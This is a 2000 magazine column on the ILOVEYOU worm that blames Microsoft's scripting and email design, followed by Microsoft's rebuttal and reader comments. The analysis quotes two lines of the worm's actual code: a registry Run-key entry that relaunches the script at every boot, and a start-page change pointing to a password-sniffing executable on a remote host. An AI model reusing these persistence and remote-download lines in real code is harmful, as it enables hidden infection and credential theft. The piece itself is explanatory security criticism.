Love, Microsoft Who's to blame for the "ILOVEYOU" virus? Who else?? By James Gleick Posted Tuesday, May 9, 2000, at 10:00 a.m. PT E-Mail This Article Sign Up for Free E-Mail Auto-Delivery Save This Article to Online File Storage (Learn More) Here's some instant mythology surrounding the "ILOVEYOU" virus: It attacked computers. Any technology can be used for good or for evil. It was spread by careless, ill-educated (and love-starved!) consumers, who clicked where they shouldn't have. In reality, of course, the virus attacked and exploited software, not the computers themselves. That may seem like a pedantic distinction, and it's true that these days the line between hardware and software can be fuzzy. But computers themselves can have bugs, and they can have security holes, and that wasn't the case with the "love bug." In fact, the virus targeted the Microsoft Windows Scripting Host, Microsoft's Outlook mail program, Microsoft Internet Explorer, the Microsoft Windows Address Book, and the Microsoft Windows registry. It propagated by means of security flaws created by Microsoft software engineers. No one running MacOS or Unix could have spread this virus or any virus like it. Microsoft's public comment has run: "There's always the potential for misuse. More important than the technical side of this is the human side. It's not something technology is ever going to be able to solve." It's a cliché that technology is value-neutral—a cliché employed in the service of a variety of causes. There's always some truth to the idea. Nuclear fission is just what it is, a piece of physics. Guns don't kill people, people kill people. But we're allowed to notice when particular technologies are especially dangerous. Some technologies actively invite misuse. Here's what the ILOVEYOU virus did, and here's why it shouldn't have been able to: It looked up some settings in the registry, Windows' core database of system settings, and then it changed those settings. For example, by default, scripts are given only 10 seconds to do whatever they do. So this script began by looking up this "timeout" feature and turning it off. Oops! Scripts shouldn't be allowed to override settings that control those same scripts. Then it changed some more registry settings, with statements like regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs," which instructs the system to run a new script every time it starts up. Scripts shouldn't be allowed to alter anything in the registry—not without direct approval from a system administrator and especially not from inside an e-mail message. Microsoft knows this, in principle: Look here, for example. But it chose to leave the door open. Then the script changed the start page of the (Microsoft) Web browser. In fact, it pointed the browser not at a Web site but at an executable file: regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertn MTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe." No! Don't go there. (Sure enough, the function of this program was to sniff for passwords.) It would be safer to require user intervention before changing the browser's start page. But Microsoft wanted to make it easy for companies like, oh, Microsoft, to change your start page for you. In a subroutine cunningly titled "sub infectfiles," the virus copied itself—a nice, compact little script, after all—to files all over the user's hard disk, deleting some files and sneakily renaming others. Now, this is suspicious and dangerous behavior. An operating system has to support the deletion and renaming and alteration of files, but it doesn't have to give this capability to scripts—little programs run from inside e-mail messages or through the Web browser. These powerful abilities came with the Windows Scripting Host, not a part of Windows 95, but added to later systems, including any that got Internet Explorer Version 5. (Maybe the ILOVEYOU author read Microsoft TechNet's article on "Leveraging the Power of the Windows Scripting Host." "The script we've demonstrated may be the foundation for a greater task," it concludes cheerfully. "Once you've located a file, you may wish to perform a file copy or an FTP process.") Finally, as we all now know, the virus performed a mass mailing of itself to everyone in the user's Outlook address book. Cute, and sometimes Microsoft customers do need to send mass mailings, but they don't need to be able to do it with scripts running from inside e-mail messages. Not ever. Close that door. In recent years, Microsoft's designers have deliberately blurred the distinction between opening some data and running a program. To run Word, you no longer have to find the program and execute it. You can run Word indirectly, just by clicking on any Word document, identified by its filename, ending with the three-letter extension .doc. In the same way, if you click on a music file in the .mp3 format, you will execute a music player—by default, of course, Microsoft's own Media Player. The virus executed the Windows Scripting Host because it ended with the extension .vbs. Which leads to one more lovely detail. Most of us rarely see those file extensions because the operating system hides them by default. That's another user-friendly feature: Instead of "Letter to Bill.doc," we see just "Letter to Bill." Speaking personally, I like this feature. I know that some security experts advise users to turn the feature off, but so far I've been willing to accept Microsoft's default setting and leave the extensions hidden. The ILOVEYOU virus exploited this by adding an extra fake extension to its name: "LOVE-LETTER-FOR-YOU.TXT.vbs." We users saw only the innocent-looking "LOVE-LETTER-FOR-YOU.TXT." The final, hidden, .vbs was the trigger. Thus Windows gave us the worst of both worlds: It was smart enough to display and yet disregard the ".TXT" that would have started a harmless text editor. It was smart enough to conceal and yet execute the ".vbs." Microsoft should have been smart enough to take an obvious precaution in the first place: Prevent the creation of file names with double extensions. That kind of file name is a sure tip-off that someone is up to no good. Even after the fact, Microsoft continues to take a "Close the Barn Door" approach to security. It recommends with a straight face that users now delete all e-mail messages with the subject "ILOVEYOU." And the Microsoft Web site stresses (here): It's important to note that the virus payload cannot run by itself. In order for it to run, the recipient must open the mail, launch the payload by double-clicking on it, and answer "yes" to a dialogue that warns of the dangers of running untrusted programs. Sure enough, the warning is explicit and prophetic. To activate the virus, at least some people had to ignore it. And sure enough, people ignored it all over the world. They ignored it inside Microsoft headquarters—we know this because the company mail servers were shut down intermittently over a two-day period and because some copies of the virus were inadvertently dispatched onward to the outside world. How could people be so stupid? Simple. We've seen these fine-print warnings thousands of times. We've had to learn to click on past them. We've seen them whenever we display e-mailed pictures from our friends. The warning says to "be certain that this file is from a trustworthy source"—none too helpful when our trustworthy sources are being tricked into mailing us the virus. But the wording hardly matters; we no more read these warnings than we read the click-through agreements crafted by company legal departments. The trouble is, Microsoft applies the same warning to the passive display of content and to active scripts allowed to delete files, alter the Windows registry, and send mass e-mail. The ILOVEYOU vandal showed a sophisticated understanding of vertical integration, a fact of life in the Microsoft universe that the Department of Justice, too, has been zeroing in on. Many different pieces of the Microsoft jigsaw puzzle are now platforms for executing programs: the browser, the word processor, the spreadsheet, the e-mail client. They all work together, and they each perform the functions of an operating system. That can be really useful. It's also dangerous. So it's time for Microsoft to make some crucial distinctions. It's one thing to display data passively: present text, play music, show pictures. It's another to grant active access to the file system: delete data, alter program settings. A good, modern e-mail program needs to be able to display all kinds of stuff. But there must be limits. As a matter of cultural style, it's odd that Microsoft has earned notoriety for laxness about computer security. The company is such a control freak, after all, in other domains. It may be in part because Microsoft itself likes to be able to do things to our computers from a distance. If you spend any time at MSN or Microsoft.com—even at Slate—you've noticed that you are often given a chance to "install and run" some ActiveX control or other, and you are invited to check a box that says, "Always trust content from Microsoft Corporation." These ActiveX controls can do anything, where Java, by contrast, was designed not to have unbridled access to the file system. Last year Microsoft got caught placing secret unique identifiers in Office documents and collecting associated hardware indentifiers from across the Internet. Soon all Office users will be required to register their software, in the name of copy protection, and allow Microsoft to check remotely on where the software has been installed. The company has just patented a technique for installing software upgrades over the Internet, after consulting settings in the registry. All this middleware, all this powerful scripting, helps Microsoft check up on its users. Maybe that's why the company doesn't feel any great urgency about having us batten down the hatches. I got my own copy of ILOVEYOU from a trusted friend, an Episcopal priest who often e-mails me pictures of his kids. By then I'd heard the news, so I carefully opened it for viewing. I'd like to say I was smart enough not to run the thing first, but the truth is just that I was lucky enough. Join The Fray What did you think of this article? Microsoft Responds: James Gleick's commentary on the "ILOVEYOU" worm ignores some important realities regarding the way software works and the ways people use it. Perhaps most striking is the implication that viruses in general—and this virus in particular—are somehow specific to Microsoft products. In fact, the most famous incident of this type, the Internet Worm of 1988, spread exclusively through Unix systems, using a mechanism very similar to the one used by the "ILOVEYOU" virus. Even in the case of the "ILOVEYOU" virus, Microsoft products were not the only ones affected; at least two competing e-mail products were affected in exactly the same way as Microsoft's were. The fact is that viruses can be—and are—written to run on any operating system, using virtually any software vendor's products. Gleick's article seizes upon the fact that this virus would not run on a Unix or MacOS system as proof that there must be a flaw in Microsoft products. But in fact, his statement is simply true by definition—the virus doesn't run on Unix or MacOS because it wasn't designed to. The author of the virus could have designed it to run on those systems but chose not to. Why? Because virus writers tend to be motivated by publicity. Compare the global news coverage that accompanied the "ILOVEYOU" virus with the near-total silence regarding major attacks against competing systems earlier this year, and you can easily see why the virus writer chose to target the systems he did. People were writing Trojan horses, worms, and viruses for Unix, Macintosh, and other operating systems as back as far as the days of Windows 3.1 and before. They were able to do so because all modern software systems make it easy for one program to call another. Why do these systems do this? Because computers exist to automate tasks. You can't, for instance, integrate your company's invoicing and supply systems unless the systems can communicate with each other. Just the same, it's important to retain checkpoints where human judgment is needed. This is the role that the warning dialogues in Outlook serve—they're a compromise that attempts to give users fair warning without limiting their ability to use their systems. Gleick nominates a number of design features—the blurring of the line between opening data and running a program, the ability to have more than one file extension, and so forth—as "design flaws" that contributed to the problem. However, none of these are central to the issue. The correct warning dialogues were displayed regardless of how the program was launched, and the correct icon was shown regardless of whether double file extensions were used. If Gleick would review the history of Outlook's handling of attachments—and Microsoft's approach to security in general—over the past few years, he would see that Microsoft has mounted a vigorous effort to tune the tradeoff between ease of use and security. Our goal is to provide customers with the features they want, along with the security they need. We are continuing to review these tradeoffs on an ongoing basis and will, no doubt, make additional improvements in the future. —Scott Culp and Steve Lipner Microsoft Security Response Center Reader Response from The Fray: Re: Microsoft's response. Sure, other systems are subject to viral attacks, and, sure Microsoft systems are a big target. But, you fail to address the main points of the article, firstly that Windows blurs the distinction between programs and data, and, secondly and most importantly that any program--regardless of its source--can do what it likes to the system. This is a disaster waiting to happen. And this doesn't affect all systems equally. Linux/Unix limits access for ordinary users, Java has definitive protection from unvetted applications, and so on. Windows security relies on scanning what comes in, using inherently out-of-date virus signature lists. This level of security simply is not appropriate for a computer connected to the internet--if it ever was. --Jim Birch (To reply, click here.) James Gleick has one or two good points, but who can I blame if I stab myself in the head with my brand new shiny Ginsu knife that slices and dices twice as fast? Ginsu promised me the best cutting knife in the world with all the features. What if someone were to attack me with that knife? Am I to blame Ginsu for making a knife so sharp that it's deadly? Should I have stuck with butter knives? What if I drive my safe Volvo with front and side airbags off the meteor crater in Arizona? Will Volvo take the blame? What if I continuously hammer my co-worker over his head with my phone? Damn that Nortel for making such a powerful piece of plastic. If I was smart, I might use the phone cord to strangle him with it. No matter how "safe" a product is, whether it's soft, hard, electronic, pointy, blunt, etc., there's a way to shoot yourself in the foot with it. There's inherent danger in everything. --Jim F (To reply, click here.) Microsoft has chosen to ignore the heart of James Gleick's criticisms. Because they have, I will condense them to a single sentence: Windows Scripting Host gives a Visual Basic script the authority of the user executing the script, not the authority of the author of the script. Because the script "inherits" the user's privileges, scripts received as attachments, or Visual Basic auto_run VBA procedures received in attached Office documents, can do just about anything the user who opens the document can do. That's why a script can not only make changes to the registry, but it can make changes to registry entries that control scripts. In other words, the registry says "scripts will time out in 10 seconds", and then Windows Scripting Host allows a running script to not only change that setting for all scripts, but for its own running session! I would like someone at Microsoft to explain why Visual Basic scripts do not inherit the authority of their authors, rather than the person executing them. This strikes me as a fundamental security flaw in their design.